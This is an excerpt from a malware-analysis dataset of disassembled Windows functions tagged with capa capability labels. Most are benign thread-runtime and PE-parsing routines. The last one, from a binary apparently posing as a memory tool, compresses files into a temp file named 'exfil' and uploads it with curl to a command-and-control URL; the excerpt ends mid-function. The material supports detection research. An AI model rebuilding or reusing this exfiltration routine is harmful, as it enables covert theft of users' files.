joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400283c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14003a2b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400283e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400283e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400283e0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140028428
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14002841f
test rcx, rcx
je 0x1400283e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140028410
xor eax, eax
ret

Function at 0x140028430
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14003a2b0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140028450
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140028458
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140028470
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14003a2b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140028490
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140028498
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140028490
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140028490
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400284dc
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400284f0
add rdx, 0x28
cmp rdx, r9
jne 0x1400284c8
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140028500
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14003a2b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140028522
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140028530
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140028522
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140028522
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140028522
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14002857d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140028590
add rdx, 0x28
cmp r10, rdx
jne 0x140028568
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14002859f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400285af
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140028586
test ecx, ecx
jg 0x140028598
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x14002e910
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x140034678], eax
cmp eax, 0xffffffff
je sym.pthread_tls_init.cold
add rsp, 0x28
ret
Function at 0x14002e930
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14002ea42
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x14002ea1a
add rax, 1
cmp rax, 0x6b
je 0x14002ea37
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x14002ea10
cmp edx, 0x6a
je 0x14002ea37
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x14002ea2b

Function at 0x14002ede0
Capabilities:
Allocate thread local storage

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
lea rsi, [0x1400430a0]
mov rcx, rsi
call dbg.enterOnceObject
lea r13, [rax + 8]
mov r12, rax
mov rcx, r13
call dbg.pthread_mutex_lock
mov ebx, dword [0x1400430a0]
test ebx, ebx
jne 0x14002ee50
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x140034678], eax
cmp eax, 0xffffffff
je sym._pthread_once_raw.part.0.constprop.0.isra.0.cold
mov dword [0x1400430a0], 1
mov rcx, r13
call dbg.pthread_mutex_unlock
test r12, r12
je 0x14002ee82
mov rcx, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
jmp sym.leaveOnceObject.part.0
cmp ebx, 1
je 0x14002ee31
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r9d, ebx
mov r8, rsi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sym.fprintf_1
mov rcx, r13
call dbg.pthread_mutex_unlock
test r12, r12
jne 0x14002ee3e
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x14002efd0
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
push r12
push rsi
push rbx
sub rsp, 0x28
mov qword [rbp + 0x10], rcx
call dbg._fpreset
lea rcx, [0x140034668]
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
lea r12, [rax + 0x38]
mov rcx, r12
call dbg.pthread_mutex_lock
cmp dword [0x1400430a0], 1
je 0x14002f00f
call sym._pthread_once_raw.part.0.constprop.0.isra.0
mov rdx, qword [rbp + 0x10]
mov ecx, dword [0x140034678]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rbx, qword [rbp + 0x10]
mov rcx, r12
mov dword [rbx + 0x70], eax
call dbg.pthread_mutex_unlock
mov rax, qword [rbp + 0x10]
mov rdx, rbp
lea rcx, [rax + 0xd0]
call sym._setjmp
test eax, eax
je 0x14002f0e0
lea rcx, [0x140034668]
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
lea r12, [rax + 0x38]
mov rcx, r12
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 0x30]
mov rbx, qword [rax + 8]
test rcx, rcx
je 0x14002f082
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x10]
cmp qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
je 0x14002f13e
mov rcx, r12
call dbg.pthread_mutex_unlock
mov rcx, r12
call dbg.pthread_mutex_destroy
mov rax, qword [rbp + 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov dword [rax + 0xbc], 1
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
lea rsi, [0x140034668]
mov rcx, rsi
call dbg.pthread_mutex_unlock
test eax, eax
jne 0x14002f136
xor ecx, ecx
call r12
jmp 0x14002f0cd
lea rcx, [0x140034668]
call dbg.pthread_mutex_unlock
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x14002f174
mov rsi, qword [rbp + 0x10]
mov rcx, qword [rsi + 8]
call rax
mov r12, rax
nop
nop
lea rcx, [0x140034668]
call dbg.pthread_mutex_lock
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 0x1d8]
mov qword [rax + 8], r12
test rcx, rcx
je 0x14002f05b
call sym._pthread_cleanup_dest.part.0
jmp 0x14002f05b
mov ecx, ebx
call qword [sym.imp.msvcrt.dll__endthreadex]
mov rax, qword [rbp + 0x10]
mov rcx, r12
mov dword [rax], 0xdeadbeef
call dbg.pthread_mutex_unlock
mov rcx, r12
call dbg.pthread_mutex_destroy
mov rcx, qword [rbp + 0x10]
call sym.push_pthread_mem
mov ecx, dword [0x140034678]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x14002f0bf
mov r12d, pe_nt_image_headers64
jmp 0x14002f106
Function at 0x14002f180
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x1400430a0], 1
je 0x14002f197
call sym._pthread_once_raw.part.0.constprop.0.isra.0
mov ecx, dword [0x140034678]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x14002f1c0
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x14002f1ab
test rax, rax
je 0x14002f1ab
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x14002f2ca
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rdi
mov dword [rsp + 0x30], 2
mov r8, rsi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je sym.__pthread_self_lite.cold
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x140034678]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je sym.__pthread_self_lite.cold
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sym.replace_spin_keys.part.0
nop
Function at 0x14002f2d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r14
push r13
push r12
sub rsp, 0x20
test edx, edx
jne 0x14002f300
test r8, r8
je 0x14002f3c0
mov eax, 1
add rsp, 0x20
pop r12
pop r13
pop r14
ret
cmp edx, 1
je 0x14002f3f0
cmp edx, 3
jne 0x14002f2e7
mov ecx, dword [0x140034678]
cmp ecx, 0xffffffff
je 0x14002f2e7
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x14002f2e7
test byte [rax + 0x40], 0x30
je 0x14002f420
mov rcx, qword [rax + 0x1d8]
test rcx, rcx
je 0x14002f342
call sym._pthread_cleanup_dest.part.0
mov rcx, qword [r12 + 0x28]
test rcx, rcx
je 0x14002f375
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r13
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x14002f363
call r13
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
lea rcx, [r12 + 0x38]
call dbg.pthread_mutex_destroy
lea rcx, [r12 + 0x68]
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x14002f4b4
cmp qword [r12 + 0x1d0], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
je 0x14002f520
mov ecx, dword [0x140034678]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x14002f2e7
mov rcx, qword [0x140043060]
test rcx, rcx
je 0x14002f2e7
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov qword [0x140043060], 0
jmp 0x14002f2e7
lea rdx, [dbg.SetThreadName_VEH]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x140043060], rax
mov eax, 1
add rsp, 0x20
pop r12
pop r13
pop r14
ret
mov rcx, qword [rax + 0x30]
mov eax, dword [rax + 0xbc]
test eax, eax
jne 0x14002f4c0
test rcx, rcx
je 0x14002f43d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r12 + 0x1d8]
mov qword [r12 + 0x30], 0
mov dword [r12 + 0xbc], 1
test rcx, rcx
je 0x14002f464
call sym._pthread_cleanup_dest.part.0
lea r14, [r12 + 0x38]
lea r13, [r12 + 0x68]
test byte [r12 + 0x44], 4
je 0x14002f500
mov rcx, qword [r12 + 0x28]
mov dword [r12], 0xdeadbeef
test rcx, rcx
je 0x14002f492
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [r12 + 0x28], 0
mov rcx, r14
call dbg.pthread_mutex_destroy
mov rcx, r13
call dbg.pthread_spin_destroy
cmp eax, 1
jne 0x14002f392
call sym.replace_spin_keys.part.0
nop dword [rax]
test rcx, rcx
je 0x14002f4cb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [r12 + 0x30], 0
lea rcx, [r12 + 0x38]
call dbg.pthread_mutex_destroy
lea rcx, [r12 + 0x68]
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x14002f4b4
mov qword [r12 + 0x68], 0xffffffffffffffff
jmp 0x14002f2e7
mov rcx, r14
call dbg.pthread_mutex_destroy
mov rcx, r13
call dbg.pthread_spin_destroy
cmp eax, 1
jne 0x14002f4ed
jmp 0x14002f4b4
mov rcx, r12
call sym.push_pthread_mem.part.0
jmp 0x14002f3aa
Function at 0x1400301d0
Capabilities:
Hijack thread execution

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x4f8
mov rsi, rcx
test rcx, rcx
je 0x1400302be
lea r12, [0x140034668]
mov rcx, r12
call dbg.pthread_mutex_lock
mov rcx, rsi
call dbg.__pthread_get_pointer
mov rcx, r12
mov rbx, rax
call dbg.pthread_mutex_unlock
test rbx, rbx
je 0x1400302be
mov rcx, qword [rbx + 0x28]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400302be
lea r12, [rsp + 0x20]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1400302be
lea r13, [rbx + 0x38]
mov rcx, r13
call dbg.pthread_mutex_lock
call sym.__pthread_self_lite
test rax, rax
je 0x14003025b
cmp rsi, qword [rax + 0x1d8]
je 0x1400302d8
mov edx, dword [rbx + 0x44]
movzx eax, byte [rbx + 0x40]
and edx, 3
cmp edx, 3
je 0x140030330
test al, 3
jne 0x1400302b0
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
lock add dword [0x1400430a8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140030292
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, r13
call dbg.pthread_mutex_unlock
xor eax, eax
add rsp, 0x4f8
pop rbx
pop rsi
pop r12
pop r13
ret
mov rcx, r13
call dbg.pthread_mutex_unlock
test byte [rbx + 0x40], 0xc
je 0x14003029a
mov eax, 3
add rsp, 0x4f8
pop rbx
pop rsi
pop r12
pop r13
ret
movzx eax, byte [rbx + 0x40]
test al, 3
jne 0x1400302b0
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
lock add dword [0x1400430a8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140030300
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [rbx + 0x44]
mov edx, eax
and edx, 3
cmp edx, 3
jne 0x140030292
and eax, 0xfffffffe
mov rcx, r13
mov dword [rbx + 0x44], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xfffffff3
or eax, 4
mov byte [rbx + 0x40], al
call dbg.pthread_mutex_unlock
call dbg._pthread_invoke_cancel
nop dword [rax]
test al, 0xc
jne 0x1400302b0
test al, 0xf
jne 0x1400302be
mov rcx, qword [rbx + 0x28]
mov dword [rsp + 0x50], 0x100001
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor edx, edx
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140030292
mov rcx, qword [rbx + 0x28]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [dbg._pthread_invoke_cancel]
mov rcx, qword [rbx + 0x28]
mov rdx, r12
mov qword [rsp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
movzx eax, byte [rbx + 0x40]
and dword [rbx + 0x44], 0xfffffffe
and eax, 0xfffffff0
or eax, 5
mov byte [rbx + 0x40], al
lock add dword [0x1400430a8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1400303b6
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, r13
call dbg.pthread_mutex_unlock
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140030292
Function at 0x1400303d0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
lea r13, [0x140034668]
mov r12, rcx
mov rcx, r13
mov ebx, edx
call dbg.pthread_mutex_lock
mov rcx, r12
call dbg.__pthread_get_pointer
test rax, rax
je 0x140030450
cmp qword [rax + 0x1d8], r12
jne 0x140030450
test byte [rax + 0x40], 0xc
jne 0x140030450
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x140030450
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x140030450
mov rcx, r13
call dbg.pthread_mutex_unlock
test ebx, ebx
je 0x140030470
lea edx, [rbx - 2]
cmp edx, 0x15
ja 0x140030478
mov rcx, r12
add rsp, 0x20
pop rbx
pop r12
pop r13
jmp dbg.pthread_cancel
mov rcx, r13
call dbg.pthread_mutex_unlock
mov eax, 3
add rsp, 0x20
pop rbx
pop r12
pop r13
ret
xor eax, eax
jmp 0x14003045d
mov eax, 0x16
jmp 0x14003045d
Function at 0x140030720
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call sym.pop_pthread_mem
mov r12, rax
test rax, rax
je 0x140030989
test rdi, rdi
je 0x14003075a
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x1400307c7
add ebx, 1
cmp ebx, 1
je 0x1400308d0
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x140030795
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x1400309ca
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x140030972
xor edx, edx
test rsi, rsi
je 0x14003083f
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x1400309a0
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [dbg.pthread_create_wrapper]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140030930
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x140030900
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x1400308e0
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x140030795
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400308af
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x140030885
mov edx, 2
cmp eax, edx
cmovle edx, eax
cmp eax, 0xf
mov eax, 0xf
cmovge edx, eax
jmp 0x140030885
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x140030940
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call dbg.pthread_mutex_destroy
mov rcx, r14
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x1400309ca
mov qword [r12 + 0x68], 0xffffffffffffffff
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x14003097e
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x1400309c0
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call sym.__pthread_self_lite
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x14003083f
mov rcx, r12
call sym.push_pthread_mem.part.0
jmp 0x140030989
call sym.replace_spin_keys.part.0
nop
Function at 0x140001a60
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rbp, rcx
mov rcx, rbx
lea rdx, [0x14011334c]
call fcn.1400cda80
mov rdi, rax
test rax, rax
je 0x140001bff
xor edx, edx
mov qword [rsp + 0x40], rsi
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.1400ce540
mov rcx, rdi
call fcn.1400cd540
mov esi, eax
test eax, eax
js 0x140001c26
xor r8d, r8d
mov qword [rsp + 0x50], r15
xor edx, edx
mov rcx, rdi
call fcn.1400ce540
movsxd rbx, esi
mov rcx, rbx
call fcn.1400d3454
mov r9, rdi
mov r8d, 1
mov rdx, rbx
mov rcx, rax
mov r15, rax
call fcn.1400d338c
mov rcx, rdi
call fcn.1400ce230
mov edx, esi
mov rcx, r15
call fcn.14006a080
mov rbx, rax
cmp rax, 0xfffffffffffffffd
ja 0x140001bdb
mov rcx, rax
mov qword [rsp + 0x48], r14
call fcn.1400d3454
mov r9d, esi
mov r8, r15
mov rdx, rbx
mov rcx, rax
mov r14, rax
call fcn.140069510
mov rcx, r15
mov rbx, rax
call fcn.1400d2d0c
mov rcx, rbx
call fcn.14006a6a0
test eax, eax
jne 0x140001c4a
mov eax, dword [r14]
lea rbx, [r14 + 4]
xor esi, esi
mov dword [rbp + 0x44000], eax
test eax, eax
je 0x140001b94
movzx ecx, byte [rbx]
mov eax, esi
mov r8d, ecx
imul rdi, rax, 0x88
add rdi, rbp
mov byte [rdi + 0x80], cl
mov rcx, rdi
mov eax, dword [rbx + 1]
add rbx, 5
mov rdx, rbx
mov dword [rdi + 0x84], eax
call fcn.1400c98d0
movzx eax, byte [rdi + 0x80]
inc esi
add rbx, rax
cmp esi, dword [rbp + 0x44000]
jb 0x140001b50
mov eax, dword [rbx]
mov ecx, eax
mov dword [rbp + 0x44010], eax
call fcn.1400d3454
mov r8d, dword [rbp + 0x44010]
lea rdx, [rbx + 4]
mov rcx, rax
mov qword [rbp + 0x44008], rax
call fcn.1400c98d0
mov rcx, r14
mov r14, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
pop rbp
pop rbx
jmp fcn.1400d2d0c
mov ecx, 2
call fcn.1400ce084
mov rcx, rax
lea rdx, str._CRASH__couldnt_retrieve_size_from_file_n
call fcn.140001010
mov ecx, 1
call fcn.1400cd8e0
int3
mov ecx, 2
call fcn.1400ce084
mov rcx, rax
lea rdx, str._CRASH__couldnt_open_file_____s_n
mov r8, rbx
call fcn.140001010
mov ecx, 1
call fcn.1400cd8e0
int3
mov ecx, 2
call fcn.1400ce084
mov rcx, rax
lea rdx, str._CRASH__length_of_file_is_negative_n
call fcn.140001010
mov ecx, 1
call fcn.1400cd8e0
int3
mov ecx, 2
call fcn.1400ce084
mov rcx, rax
lea rdx, str._CRASH__couldnt_decompress_data_n
call fcn.140001010
mov ecx, 1
call fcn.1400cd8e0
int3
Function at 0x140002290
Capabilities:
Get common file path
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x6c0
mov rax, qword [0x14011f7a8]
xor rax, rsp
mov qword [rsp + 0x6b0], rax
cmp ecx, 1
jle 0x1400022d7
mov rax, qword [rdx + 8]
cmp byte [rax], 0x2f
jne 0x1400022d7
cmp byte [rax + 1], 0x64
jne 0x1400022d7
cmp byte [rax + 2], 0
jne 0x1400022d7
mov rcx, qword [rdx + 0x10]
call fcn.140002210
jmp 0x140002451
lea r9, [rsp + 0x20]
mov qword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, [0x1400f06c0]
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x1400024ca
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x180]
mov r8d, 0x104
call fcn.1400d27b4
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, [rsp + 0x290]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400024d5
lea r9, [rsp + 0x4a0]
xor r8d, r8d
lea rdx, str.exfil
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x1400024e0
mov r8d, 0x104
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x70]
call fcn.1400d27b4
lea rcx, [rsp + 0x70]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002385
mov eax, dword [str..zst]
lea rdx, [rsp + 0x70]
mov dword [rcx], eax
movzx eax, byte [0x140113428]
mov byte [rcx + 4], al
lea rcx, [rsp + 0x180]
call fcn.140002180
lea rdx, [0x14011334c]
lea rcx, [rsp + 0x70]
call fcn.1400cda80
mov rdi, rax
test rax, rax
je 0x1400024eb
mov ecx, 3
call sym.freemem.exe_curl_global_init
call sym.freemem.exe_curl_easy_init
mov rbx, rax
test rax, rax
je 0x1400024f6
lea r8, str.http:__c2.local.gd_upload
mov edx, 0x2712
mov rcx, rax
call sym.freemem.exe_curl_easy_setopt
mov edx, 0x2e
mov rcx, rbx
lea r8d, [rdx - 0x2d]
call sym.freemem.exe_curl_easy_setopt
mov r8, rdi
mov edx, 0x2719
mov rcx, rbx
call sym.freemem.exe_curl_easy_setopt
lea r8, [fcn.1400d338c]
mov edx, 0x4e2c
mov rcx, rbx
call sym.freemem.exe_curl_easy_setopt
mov rcx, rbx
call sym.freemem.exe_curl_easy_perform
mov rcx, rdi
call fcn.1400ce230
mov rcx, rbx
call sym.freemem.exe_curl_easy_cleanup
call sym.freemem.exe_curl_global_cleanup
xorps xmm0, xmm0
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x30], 0x40
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x140002486
mov eax, 0x83
jmp 0x1400024a9
mov r8, qword [rsp + 0x38]
lea rcx, str._lld____lld___ld____n
mov rdx, qword [rsp + 0x40]
mov r9d, 0x64
